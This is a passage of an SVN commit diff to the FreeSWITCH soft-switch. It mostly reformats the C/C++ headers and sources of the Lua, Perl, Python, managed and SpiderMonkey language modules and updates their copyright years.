+ char *cb_function;
+ char *cb_arg;
+ char *hangup_func_str;
+ char *hangup_func_arg;
+ void setLUA(lua_State * state);
+
+ };
}
#endif
Modified: freeswitch/trunk/src/mod/languages/mod_lua/mod_lua.cpp (16578 => 16579)
--- freeswitch/trunk/src/mod/languages/mod_lua/mod_lua.cpp 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/languages/mod_lua/mod_lua.cpp 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
Modified: freeswitch/trunk/src/mod/languages/mod_lua/mod_lua_extra.h (16578 => 16579)
--- freeswitch/trunk/src/mod/languages/mod_lua/mod_lua_extra.h 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/languages/mod_lua/mod_lua_extra.h 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,9 +1,7 @@
#ifndef MOD_LUA_EXTRA
#define MOD_LUA_EXTRA
-SWITCH_BEGIN_EXTERN_C
-
-void mod_lua_conjure_event(lua_State *L, switch_event_t *event, const char *name, int destroy_me);
-void mod_lua_conjure_stream(lua_State *L, switch_stream_handle_t *stream, const char *name, int destroy_me);
+SWITCH_BEGIN_EXTERN_C void mod_lua_conjure_event(lua_State * L, switch_event_t *event, const char *name, int destroy_me);
+void mod_lua_conjure_stream(lua_State * L, switch_stream_handle_t *stream, const char *name, int destroy_me);
void mod_lua_conjure_session(lua_State * L, switch_core_session_t *session, const char *name, int destroy_me);
SWITCH_END_EXTERN_C
Modified: freeswitch/trunk/src/mod/languages/mod_lua/my_swigable_cpp.h (16578 => 16579)
--- freeswitch/trunk/src/mod/languages/mod_lua/my_swigable_cpp.h 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/languages/mod_lua/my_swigable_cpp.h 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,169 +1,160 @@
typedef struct input_callback_state {
- void *function;
+ void *function;
- void *threadState;
+ void *threadState;
- void *extra;
- char *funcargs;
+ void *extra;
+ char *funcargs;
} input_callback_state_t;
typedef enum {
- S_HUP = (1 << 0),
- S_FREE = (1 << 1),
- S_RDLOCK = (1 << 2)
+ S_HUP = (1 << 0),
+ S_FREE = (1 << 1),
+ S_RDLOCK = (1 << 2)
} session_flag_t;
class Stream {
- protected:
- switch_stream_handle_t mystream;
- switch_stream_handle_t *stream_p;
- int mine;
- public:
- Stream(void);
- Stream(switch_stream_handle_t *);
- virtual ~Stream();
- void write(const char *data);
- const char *get_data(void);
+ protected:
+ switch_stream_handle_t mystream;
+ switch_stream_handle_t *stream_p;
+ int mine;
+ public:
+ Stream(void);
+ Stream(switch_stream_handle_t *);
+ virtual ~ Stream();
+ void write(const char *data);
+ const char *get_data(void);
};
class Event {
- protected:
- public:
- switch_event_t *event;
- char *serialized_string;
- int mine;
+ protected:
+ public:
+ switch_event_t *event;
+ char *serialized_string;
+ int mine;
- Event(const char *type, const char *subclass_name = NULL);
- Event(switch_event_t *wrap_me, int free_me=0);
- virtual ~Event();
- const char *serialize(const char *format=NULL);
- bool setPriority(switch_priority_t priority = SWITCH_PRIORITY_NORMAL);
- char *getHeader(char *header_name);
- char *getBody(void);
- char *getType(void);
- bool addBody(const char *value);
- bool addHeader(const char *header_name, const char *value);
- bool delHeader(const char *header_name);
- bool fire(void);
+ Event(const char *type, const char *subclass_name = NULL);
+ Event(switch_event_t *wrap_me, int free_me = 0);
+ virtual ~ Event();
+ const char *serialize(const char *format = NULL);
+ bool setPriority(switch_priority_t priority = SWITCH_PRIORITY_NORMAL);
+ char *getHeader(char *header_name);
+ char *getBody(void);
+ char *getType(void);
+ bool addBody(const char *value);
+ bool addHeader(const char *header_name, const char *value);
+ bool delHeader(const char *header_name);
+ bool fire(void);
};
class CoreSession {
- protected:
- switch_input_args_t args;
+ protected:
+ switch_input_args_t args;
- switch_input_args_t *ap;
- switch_caller_profile_t caller_profile;
+ switch_input_args_t *ap;
+ switch_caller_profile_t caller_profile;
- char *uuid;
- char *tts_name;
- char *voice_name;
- void store_file_handle(switch_file_handle_t *fh);
- void *on_hangup;
- switch_file_handle_t local_fh;
- switch_file_handle_t *fhp;
- switch_status_t process_callback_result(char *ret);
- public:
- CoreSession();
- CoreSession(char *uuid);
- CoreSession(switch_core_session_t *new_session);
- virtual ~CoreSession();
- switch_core_session_t *session;
- switch_channel_t *channel;
- unsigned int flags;
- int allocated;
- input_callback_state cb_state;
+ char *uuid;
+ char *tts_name;
+ char *voice_name;
+ void store_file_handle(switch_file_handle_t *fh);
+ void *on_hangup;
+ switch_file_handle_t local_fh;
+ switch_file_handle_t *fhp;
+ switch_status_t process_callback_result(char *ret);
+ public:
+ CoreSession();
+ CoreSession(char *uuid);
+ CoreSession(switch_core_session_t *new_session);
+ virtual ~ CoreSession();
+ switch_core_session_t *session;
+ switch_channel_t *channel;
+ unsigned int flags;
+ int allocated;
+ input_callback_state cb_state;
- switch_channel_state_t hook_state;
+ switch_channel_state_t hook_state;
- int answer();
- int preAnswer();
- virtual void hangup(char *cause = "normal_clearing");
- void setVariable(char *var, char *val);
- void setPrivate(char *var, void *val);
- void *getPrivate(char *var);
- const char *getVariable(char *var);
- int recordFile(char *file_name, int max_len=0, int silence_threshold=0, int silence_secs=0);
+ int answer();
+ int preAnswer();
+ virtual void hangup(char *cause = "normal_clearing");
+ void setVariable(char *var, char *val);
+ void setPrivate(char *var, void *val);
+ void *getPrivate(char *var);
+ const char *getVariable(char *var);
+ int recordFile(char *file_name, int max_len = 0, int silence_threshold = 0, int silence_secs = 0);
- void setCallerData(char *var, char *val);
- int originate(CoreSession *a_leg_session,
- char *dest,
- int timeout=60);
- void setDTMFCallback(void *cbfunc, char *funcargs);
+ void setCallerData(char *var, char *val);
+ int originate(CoreSession * a_leg_session, char *dest, int timeout = 60);
+ void setDTMFCallback(void *cbfunc, char *funcargs);
- int speak(char *text);
- void set_tts_parms(char *tts_name, char *voice_name);
+ int speak(char *text);
+ void set_tts_parms(char *tts_name, char *voice_name);
- int collectDigits(int timeout);
- int getDigits(char *dtmf_buf,
- switch_size_t buflen,
- switch_size_t maxdigits,
- char *terminators,
- char *terminator,
- int timeout);
+ int collectDigits(int timeout);
+ int getDigits(char *dtmf_buf, switch_size_t buflen, switch_size_t maxdigits, char *terminators, char *terminator, int timeout);
- int transfer(char *extensions, char *dialplan, char *context);
- int playAndGetDigits(int min_digits,
- int max_digits,
- int max_tries,
- int timeout,
- char *terminators,
- char *audio_files,
- char *bad_input_audio_files,
- char *dtmf_buf,
- char *digits_regex);
- int streamFile(char *file, int starting_sample_count=0);
+ int transfer(char *extensions, char *dialplan, char *context);
+ int playAndGetDigits(int min_digits,
+ int max_digits,
+ int max_tries,
+ int timeout, char *terminators, char *audio_files, char *bad_input_audio_files, char *dtmf_buf, char *digits_regex);
+ int streamFile(char *file, int starting_sample_count = 0);
- int flushEvents();
+ int flushEvents();
- int flushDigits();
+ int flushDigits();
- int setAutoHangup(bool val);
+ int setAutoHangup(bool val);
- void setHangupHook(void *hangup_func);
+ void setHangupHook(void *hangup_func);
- bool ready();
+ bool ready();
- void execute(char *app, char *data);
+ void execute(char *app, char *data);
- void sendEvent(Event *sendME);
+ void sendEvent(Event * sendME);
- virtual bool begin_allow_threads() = 0;
- virtual bool end_allow_threads() = 0;
+ virtual bool begin_allow_threads() = 0;
+ virtual bool end_allow_threads() = 0;
- char* get_uuid() const { return uuid; };
+ char *get_uuid() const {
+ return uuid;
+ };
- const switch_input_args_t& get_cb_args() const { return args; };
+ const switch_input_args_t &get_cb_args() const {
+ return args;
+ };
- virtual void check_hangup_hook() = 0;
+ virtual void check_hangup_hook() = 0;
- virtual switch_status_t run_dtmf_callback(void *input,
- switch_input_type_t itype) = 0;
+ virtual switch_status_t run_dtmf_callback(void *input, switch_input_type_t itype) = 0;
};
@@ -180,7 +171,7 @@
-void bridge(CoreSession &session_a, CoreSession &session_b);
+void bridge(CoreSession & session_a, CoreSession & session_b);
@@ -189,8 +180,4 @@
switch_status_t hanguphook(switch_core_session_t *session);
-switch_status_t dtmf_callback(switch_core_session_t *session,
- void *input,
- switch_input_type_t itype,
- void *buf,
- unsigned int buflen);
+switch_status_t dtmf_callback(switch_core_session_t *session, void *input, switch_input_type_t itype, void *buf, unsigned int buflen);
Modified: freeswitch/trunk/src/mod/languages/mod_managed/freeswitch_managed.h (16578 => 16579)
--- freeswitch/trunk/src/mod/languages/mod_managed/freeswitch_managed.h 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/languages/mod_managed/freeswitch_managed.h 2010-02-06 03:38:24 UTC (rev 16579)
@@ -34,13 +34,11 @@
#define FREESWITCH_MANAGED_H
SWITCH_BEGIN_EXTERN_C
-
#include <switch.h>
#include <switch_cpp.h>
+typedef void (*hangupFunction) (void);
+typedef char *(*inputFunction) (void *, switch_input_type_t);
-typedef void (*hangupFunction)(void);
-typedef char* (*inputFunction)(void*, switch_input_type_t);
-
#ifndef _MANAGED
#include <glib.h>
#include <mono/jit/jit.h>
@@ -79,58 +77,109 @@
#endif
SWITCH_END_EXTERN_C
-
#ifdef _MANAGED
// this section remove linker error LNK4248 for these opaque structures
- struct switch_core_session {char foo[];};
- struct apr_pool_t {char foo[];};
- struct switch_channel {char foo[];};
- struct apr_thread_t {char foo[];};
- struct switch_hash {char foo[];};
- struct apr_thread_mutex_t {char foo[];};
- struct switch_network_list {char foo[];};
- struct switch_xml_binding {char foo[];};
- struct apr_sockaddr_t {char foo[];};
- struct switch_core_port_allocator {char foo[];};
- struct switch_media_bug {char foo[];};
- struct switch_rtp {char foo[];};
- struct sqlite3_stmt {char foo[];};
- struct switch_buffer {char foo[];};
- struct switch_ivr_menu {char foo[];};
- struct switch_event_node {char foo[];};
- struct switch_ivr_digit_stream_parser {char foo[];};
- struct sqlite3 {char foo[];};
- struct switch_ivr_digit_stream {char foo[];};
- struct real_pcre {char foo[];};
- struct HashElem {char foo[];};
- struct switch_ivr_menu_xml_ctx {char foo[];};
- struct apr_file_t {char foo[];};
- struct apr_thread_rwlock_t {char foo[];};
- struct apr_pollfd_t {char foo[];};
- struct apr_queue_t {char foo[];};
- struct apr_socket_t {char foo[];};
+ struct switch_core_session {
+ char foo[];
+};
+struct apr_pool_t {
+ char foo[];
+};
+struct switch_channel {
+ char foo[];
+};
+struct apr_thread_t {
+ char foo[];
+};
+struct switch_hash {
+ char foo[];
+};
+struct apr_thread_mutex_t {
+ char foo[];
+};
+struct switch_network_list {
+ char foo[];
+};
+struct switch_xml_binding {
+ char foo[];
+};
+struct apr_sockaddr_t {
+ char foo[];
+};
+struct switch_core_port_allocator {
+ char foo[];
+};
+struct switch_media_bug {
+ char foo[];
+};
+struct switch_rtp {
+ char foo[];
+};
+struct sqlite3_stmt {
+ char foo[];
+};
+struct switch_buffer {
+ char foo[];
+};
+struct switch_ivr_menu {
+ char foo[];
+};
+struct switch_event_node {
+ char foo[];
+};
+struct switch_ivr_digit_stream_parser {
+ char foo[];
+};
+struct sqlite3 {
+ char foo[];
+};
+struct switch_ivr_digit_stream {
+ char foo[];
+};
+struct real_pcre {
+ char foo[];
+};
+struct HashElem {
+ char foo[];
+};
+struct switch_ivr_menu_xml_ctx {
+ char foo[];
+};
+struct apr_file_t {
+ char foo[];
+};
+struct apr_thread_rwlock_t {
+ char foo[];
+};
+struct apr_pollfd_t {
+ char foo[];
+};
+struct apr_queue_t {
+ char foo[];
+};
+struct apr_socket_t {
+ char foo[];
+};
// LNK Error
using namespace System;
using namespace System::Reflection;
using namespace System::Runtime::InteropServices;
-public ref class FreeSwitchManaged
-{
-public:
- static Assembly^ mod_dotnet_managed;
- static MethodInfo^ loadMethod;
+public ref class FreeSwitchManaged {
+ public:
+ static Assembly ^ mod_dotnet_managed;
+ static MethodInfo ^ loadMethod;
};
#endif
-class ManagedSession : public CoreSession
-{
-public:
+class ManagedSession:public CoreSession {
+ public:
ManagedSession(void);
ManagedSession(char *uuid);
ManagedSession(switch_core_session_t *session);
- virtual ~ManagedSession();
+ virtual ~ ManagedSession();
virtual bool begin_allow_threads();
virtual bool end_allow_threads();
@@ -138,8 +187,8 @@
virtual switch_status_t run_dtmf_callback(void *input, switch_input_type_t itype);
// P/Invoke function pointer to delegates
- inputFunction dtmfDelegate;
- hangupFunction hangupDelegate;
+ inputFunction dtmfDelegate;
+ hangupFunction hangupDelegate;
};
#endif
Modified: freeswitch/trunk/src/mod/languages/mod_perl/freeswitch_perl.h (16578 => 16579)
--- freeswitch/trunk/src/mod/languages/mod_perl/freeswitch_perl.h 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/languages/mod_perl/freeswitch_perl.h 2010-02-06 03:38:24 UTC (rev 16579)
@@ -14,41 +14,39 @@
#include <perl.h>
#include <switch.h>
}
-
#include <switch_cpp.h>
-
namespace PERL {
-class Session : public CoreSession {
- private:
- virtual void do_hangup_hook();
- PerlInterpreter *getPERL();
- PerlInterpreter *my_perl;
- int hh;
- int mark;
- SV *me;
- public:
- Session();
- Session(char *uuid, CoreSession *a_leg = NULL);
- Session(switch_core_session_t *session);
- ~Session();
+ class Session:public CoreSession {
+ private:
+ virtual void do_hangup_hook();
+ PerlInterpreter *getPERL();
+ PerlInterpreter *my_perl;
+ int hh;
+ int mark;
+ SV *me;
+ public:
+ Session();
+ Session(char *uuid, CoreSession * a_leg = NULL);
+ Session(switch_core_session_t *session);
+ ~Session();
- virtual void destroy(void);
- virtual bool begin_allow_threads();
- virtual bool end_allow_threads();
- virtual void check_hangup_hook();
+ virtual void destroy(void);
+ virtual bool begin_allow_threads();
+ virtual bool end_allow_threads();
+ virtual void check_hangup_hook();
- virtual switch_status_t run_dtmf_callback(void *input, switch_input_type_t itype);
- void setME(SV *p);
- void setInputCallback(char *cbfunc = "on_input", char *funcargs = NULL);
- void unsetInputCallback(void);
- void setHangupHook(char *func, char *arg=NULL);
- bool ready();
- char *suuid;
- char *cb_function;
- char *cb_arg;
- char *hangup_func_str;
- char *hangup_func_arg;
- void setPERL(PerlInterpreter *pi);
-};
+ virtual switch_status_t run_dtmf_callback(void *input, switch_input_type_t itype);
+ void setME(SV * p);
+ void setInputCallback(char *cbfunc = "on_input", char *funcargs = NULL);
+ void unsetInputCallback(void);
+ void setHangupHook(char *func, char *arg = NULL);
+ bool ready();
+ char *suuid;
+ char *cb_function;
+ char *cb_arg;
+ char *hangup_func_str;
+ char *hangup_func_arg;
+ void setPERL(PerlInterpreter * pi);
+ };
}
#endif
Modified: freeswitch/trunk/src/mod/languages/mod_perl/mod_perl.c (16578 => 16579)
--- freeswitch/trunk/src/mod/languages/mod_perl/mod_perl.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/languages/mod_perl/mod_perl.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -282,7 +282,7 @@
if (po->d) {
free(po);
}
-
+
return NULL;
}
Modified: freeswitch/trunk/src/mod/languages/mod_perl/mod_perl_extra.h (16578 => 16579)
--- freeswitch/trunk/src/mod/languages/mod_perl/mod_perl_extra.h 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/languages/mod_perl/mod_perl_extra.h 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,9 +1,7 @@
#ifndef MOD_PERL_EXTRA
#define MOD_PERL_EXTRA
-SWITCH_BEGIN_EXTERN_C
+SWITCH_BEGIN_EXTERN_C void mod_perl_conjure_event(PerlInterpreter * my_perl, switch_event_t *event, const char *name);
+void mod_perl_conjure_stream(PerlInterpreter * my_perl, switch_stream_handle_t *stream, const char *name);
-void mod_perl_conjure_event(PerlInterpreter *my_perl, switch_event_t *event, const char *name);
-void mod_perl_conjure_stream(PerlInterpreter *my_perl, switch_stream_handle_t *stream, const char *name);
-
SWITCH_END_EXTERN_C
#endif
Modified: freeswitch/trunk/src/mod/languages/mod_python/freeswitch_python.h (16578 => 16579)
--- freeswitch/trunk/src/mod/languages/mod_python/freeswitch_python.h 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/languages/mod_python/freeswitch_python.h 2010-02-06 03:38:24 UTC (rev 16579)
@@ -5,47 +5,45 @@
#include <Python.h>
#include "mod_python_extra.h"
}
-
#include <switch_cpp.h>
-
namespace PYTHON {
-class Session : public CoreSession {
- private:
- virtual void do_hangup_hook();
- PyObject *getPython();
- PyObject *Py;
- PyObject *Self;
- int hh;
- int mark;
- PyThreadState *TS;
- public:
- Session();
- Session(char *nuuid, CoreSession *a_leg = NULL);
- Session(switch_core_session_t *session);
- virtual ~Session();
-
- virtual bool begin_allow_threads();
- virtual bool end_allow_threads();
- virtual void check_hangup_hook();
- virtual void destroy(void);
+ class Session:public CoreSession {
+ private:
+ virtual void do_hangup_hook();
+ PyObject *getPython();
+ PyObject *Py;
+ PyObject *Self;
+ int hh;
+ int mark;
+ PyThreadState *TS;
+ public:
+ Session();
+ Session(char *nuuid, CoreSession * a_leg = NULL);
+ Session(switch_core_session_t *session);
+ virtual ~ Session();
- virtual switch_status_t run_dtmf_callback(void *input, switch_input_type_t itype);
- void setInputCallback(PyObject *cbfunc, PyObject *funcargs = NULL);
- void unsetInputCallback(void);
- void setHangupHook(PyObject *pyfunc, PyObject *arg = NULL);
- bool ready();
-
- PyObject *cb_function;
- PyObject *cb_arg;
- PyObject *hangup_func;
- PyObject *hangup_func_arg;
+ virtual bool begin_allow_threads();
+ virtual bool end_allow_threads();
+ virtual void check_hangup_hook();
+ virtual void destroy(void);
- /* keep a pointer to parent module, internal use only*/
- void setPython(PyObject *state);
+ virtual switch_status_t run_dtmf_callback(void *input, switch_input_type_t itype);
+ void setInputCallback(PyObject * cbfunc, PyObject * funcargs = NULL);
+ void unsetInputCallback(void);
+ void setHangupHook(PyObject * pyfunc, PyObject * arg = NULL);
+ bool ready();
- /* keeps the PyObject * version of the Session so it can be used as args to the callback */
- void setSelf(PyObject *state);
+ PyObject *cb_function;
+ PyObject *cb_arg;
+ PyObject *hangup_func;
+ PyObject *hangup_func_arg;
-};
+ /* keep a pointer to parent module, internal use only */
+ void setPython(PyObject * state);
+
+ /* keeps the PyObject * version of the Session so it can be used as args to the callback */
+ void setSelf(PyObject * state);
+
+ };
}
#endif
Modified: freeswitch/trunk/src/mod/languages/mod_python/mod_python.c (16578 => 16579)
--- freeswitch/trunk/src/mod/languages/mod_python/mod_python.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/languages/mod_python/mod_python.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -61,7 +61,7 @@
} globals;
struct switch_py_thread {
- struct switch_py_thread *prev, *next;
+ struct switch_py_thread *prev, *next;
char *cmd;
char *args;
switch_memory_pool_t *pool;
@@ -70,7 +70,8 @@
struct switch_py_thread *thread_pool_head = NULL;
static switch_mutex_t *THREAD_POOL_LOCK = NULL;
-static void eval_some_python(const char *funcname, char *args, switch_core_session_t *session, switch_stream_handle_t *stream, switch_event_t *params, char **str, struct switch_py_thread *pt)
+static void eval_some_python(const char *funcname, char *args, switch_core_session_t *session, switch_stream_handle_t *stream, switch_event_t *params,
+ char **str, struct switch_py_thread *pt)
{
PyThreadState *tstate = NULL;
char *dupargs = NULL;
@@ -103,7 +104,7 @@
}
script = strdup(switch_str_nil(argv[0]));
-
+
lead = 1;
if ((p = strstr(script, "::"))) {
@@ -115,13 +116,13 @@
}
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Invoking py module: %s\n", script);
-
+
tstate = PyThreadState_New(mainThreadState->interp);
if (!tstate) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "error acquiring tstate\n");
goto done;
}
-
+
/* Save state in thread struct so we can terminate it later if needed */
if (pt)
pt->tstate = tstate;
@@ -146,9 +147,8 @@
PyErr_Clear();
goto done_swap_out;
}
-
// get the handler function to be called
- function = PyObject_GetAttrString(module, (char *)funcname);
+ function = PyObject_GetAttrString(module, (char *) funcname);
if (!function) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Module does not define %s\n", funcname);
PyErr_Print();
@@ -183,13 +183,13 @@
} else {
arg = Py_BuildValue("(s)", switch_str_nil(argv[1]));
}
-
+
// invoke the handler
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Call python script \n");
result = PyEval_CallObjectWithKeywords(function, arg, (PyObject *) NULL);
Py_DECREF(function);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Finished calling python script \n");
-
+
// check the result and print out any errors
if (result) {
if (str) {
@@ -204,25 +204,25 @@
PyGC_Collect();
}
- done_swap_out:
+ done_swap_out:
if (arg) {
Py_DECREF(arg);
}
-
+
if (sp) {
Py_DECREF(sp);
}
-
+
if (tstate) {
// thread state must be cleared explicitly or we'll get memory leaks
PyThreadState_Clear(tstate);
PyEval_ReleaseThread(tstate);
PyThreadState_Delete(tstate);
}
-
- done:
+ done:
+
switch_safe_free(dupargs);
switch_safe_free(script);
@@ -231,7 +231,7 @@
static switch_xml_t python_fetch(const char *section,
- const char *tag_name, const char *key_name, const char *key_value, switch_event_t *params, void *user_data)
+ const char *tag_name, const char *key_name, const char *key_value, switch_event_t *params, void *user_data)
{
switch_xml_t xml = NULL;
@@ -300,20 +300,20 @@
* we must decrease the default python recursion limit accordingly. Otherwise, python can easily blow
* up the stack and the whole switch crashes. See modlang-134
*/
-static void set_max_recursion_depth(void) {
+static void set_max_recursion_depth(void)
+{
// assume that a stack frame is approximately 1K, so divide thread stack size (eg, 240K) by
// 1K to get the approx number of stack frames we can hold before blowing up.
int newMaxRecursionDepth = SWITCH_THREAD_STACKSIZE / 1024;
-
+
PyObject *sysModule = PyImport_ImportModule("sys");
PyObject *setRecursionLimit = PyObject_GetAttrString(sysModule, "setrecursionlimit");
- PyObject *recLimit = Py_BuildValue("(i)",newMaxRecursionDepth);
+ PyObject *recLimit = Py_BuildValue("(i)", newMaxRecursionDepth);
PyObject *setrecursion_result = PyEval_CallObjectWithKeywords(setRecursionLimit, recLimit, (PyObject *) NULL);
if (setrecursion_result) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Set python recursion limit to %d\n", newMaxRecursionDepth);
- }
- else {
+ } else {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to set recursion limit to %d\n", newMaxRecursionDepth);
PyErr_Print();
PyErr_Clear();
@@ -365,7 +365,7 @@
SWITCH_STANDARD_API(api_python)
{
-
+
eval_some_python("fsapi", (char *) cmd, session, stream, NULL, NULL, NULL);
return SWITCH_STATUS_SUCCESS;
@@ -430,7 +430,7 @@
// initialize python system
Py_Initialize();
-
+
// create GIL and a threadstate
PyEval_InitThreads();
@@ -479,12 +479,11 @@
pt = thread_pool_head;
PyEval_AcquireLock();
while (pt) {
- thread_cnt ++;
+ thread_cnt++;
nextpt = pt->next;
-
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
- "Forcibly terminating script [%s]\n", pt->args);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Forcibly terminating script [%s]\n", pt->args);
+
/* Kill python script */
PyThreadState_Swap(pt->tstate);
PyThreadState_SetAsyncExc(pt->tstate->thread_id, PyExc_SystemExit);
@@ -495,13 +494,12 @@
PyEval_ReleaseLock();
switch_yield(1000000);
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
- "Had to kill %d threads\n", thread_cnt);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Had to kill %d threads\n", thread_cnt);
/* Give threads a few seconds to terminate.
Not using switch_thread_join() since if threads refuse to die
then freeswitch will hang */
- for (i=0; i < 10 && thread_pool_head; i++) {
+ for (i = 0; i < 10 && thread_pool_head; i++) {
switch_yield(1000000);
}
if (thread_pool_head) {
@@ -509,12 +507,10 @@
pt = thread_pool_head;
while (pt) {
nextpt = pt->next;
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR,
- "Script [%s] didn't exit in time\n", pt->args);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Script [%s] didn't exit in time\n", pt->args);
pt = nextpt;
}
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR,
- "Forcing python shutdown. This might cause freeswitch to crash!\n");
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Forcing python shutdown. This might cause freeswitch to crash!\n");
}
Modified: freeswitch/trunk/src/mod/languages/mod_python/mod_python_extra.c (16578 => 16579)
--- freeswitch/trunk/src/mod/languages/mod_python/mod_python_extra.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/languages/mod_python/mod_python_extra.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,11 +1,9 @@
-SWITCH_BEGIN_EXTERN_C
-
-PyObject *mod_python_conjure_event(switch_event_t *event)
+SWITCH_BEGIN_EXTERN_C PyObject * mod_python_conjure_event(switch_event_t *event)
{
PyObject *obj;
Event *result = new Event(event, 0);
- obj = SWIG_NewPointerObj(SWIG_as_voidptr(result), SWIGTYPE_p_Event, SWIG_POINTER_OWN );
+ obj = SWIG_NewPointerObj(SWIG_as_voidptr(result), SWIGTYPE_p_Event, SWIG_POINTER_OWN);
return obj;
}
@@ -16,18 +14,18 @@
PyObject *obj;
Stream *result = new Stream(stream);
- obj = SWIG_NewPointerObj(SWIG_as_voidptr(result), SWIGTYPE_p_Stream, SWIG_POINTER_OWN );
+ obj = SWIG_NewPointerObj(SWIG_as_voidptr(result), SWIGTYPE_p_Stream, SWIG_POINTER_OWN);
return obj;
}
-PyObject *mod_python_conjure_session(PyObject *module, switch_core_session_t *session)
+PyObject *mod_python_conjure_session(PyObject * module, switch_core_session_t *session)
{
PyObject *obj;
-
- PYTHON::Session *result = new PYTHON::Session(session);
+
+ PYTHON::Session * result = new PYTHON::Session(session);
obj = SWIG_NewPointerObj(SWIG_as_voidptr(result), SWIGTYPE_p_PYTHON__Session, SWIG_POINTER_OWN);
-
+
result->setPython(module);
result->setSelf(obj);
@@ -39,18 +37,18 @@
#endif
return obj;
-
+
}
PyObject *mod_python_conjure_DTMF(char digit, int32_t duration)
{
PyObject *obj;
-
+
DTMF *result = new DTMF(digit, duration);
obj = SWIG_NewPointerObj(SWIG_as_voidptr(result), SWIGTYPE_p_DTMF, SWIG_POINTER_OWN);
-
+
return obj;
-
+
}
Modified: freeswitch/trunk/src/mod/languages/mod_python/mod_python_extra.h (16578 => 16579)
--- freeswitch/trunk/src/mod/languages/mod_python/mod_python_extra.h 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/languages/mod_python/mod_python_extra.h 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,10 +1,8 @@
#ifndef MOD_PYTHON_EXTRA
#define MOD_PYTHON_EXTRA
-SWITCH_BEGIN_EXTERN_C
-
-PyObject *mod_python_conjure_event(switch_event_t *event);
+SWITCH_BEGIN_EXTERN_C PyObject * mod_python_conjure_event(switch_event_t *event);
PyObject *mod_python_conjure_stream(switch_stream_handle_t *stream);
-PyObject *mod_python_conjure_session(PyObject *module, switch_core_session_t *session);
+PyObject *mod_python_conjure_session(PyObject * module, switch_core_session_t *session);
PyObject *mod_python_conjure_DTMF(char digit, int32_t duration);
SWITCH_END_EXTERN_C
Modified: freeswitch/trunk/src/mod/languages/mod_spidermonkey/mod_spidermonkey.c (16578 => 16579)
--- freeswitch/trunk/src/mod/languages/mod_spidermonkey/mod_spidermonkey.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/languages/mod_spidermonkey/mod_spidermonkey.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -38,7 +38,7 @@
#include <curl/curl.h>
#endif
static int foo = 0;
-static jsval check_hangup_hook(struct js_session *jss, jsval *rp);
+static jsval check_hangup_hook(struct js_session *jss, jsval * rp);
SWITCH_MODULE_LOAD_FUNCTION(mod_spidermonkey_load);
SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_spidermonkey_shutdown);
@@ -924,7 +924,7 @@
err = "Could not allocate memory\n";
}
- err:
+ err:
if (err || !module) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error Loading module %s\n**%s**\n", filename, switch_str_nil(err));
@@ -1104,7 +1104,7 @@
